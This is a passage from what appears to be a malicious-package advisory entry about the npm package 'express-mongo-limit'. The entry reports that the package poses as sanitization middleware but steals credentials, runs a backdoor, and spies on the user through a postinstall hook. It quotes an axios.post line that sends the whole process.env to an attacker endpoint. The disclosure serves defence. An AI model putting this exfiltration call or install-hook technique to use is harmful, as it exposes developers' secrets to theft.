|---|---|---|---|---|---|
| MAL-2026-7012 | Unknown | Malicious code in express-mongo-limit (npm)The npm package `express-mongo-limit` masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting `express-mongo-sanitize`) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a `postinstall: node index.js` hook, so the payload executes automatically on install. The obfuscated `config/auth.js` (built with `javascript-obfuscator`) exfiltrates the victim's entire `process.env` via `axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } })` to an attacker-controlled endpoint, |
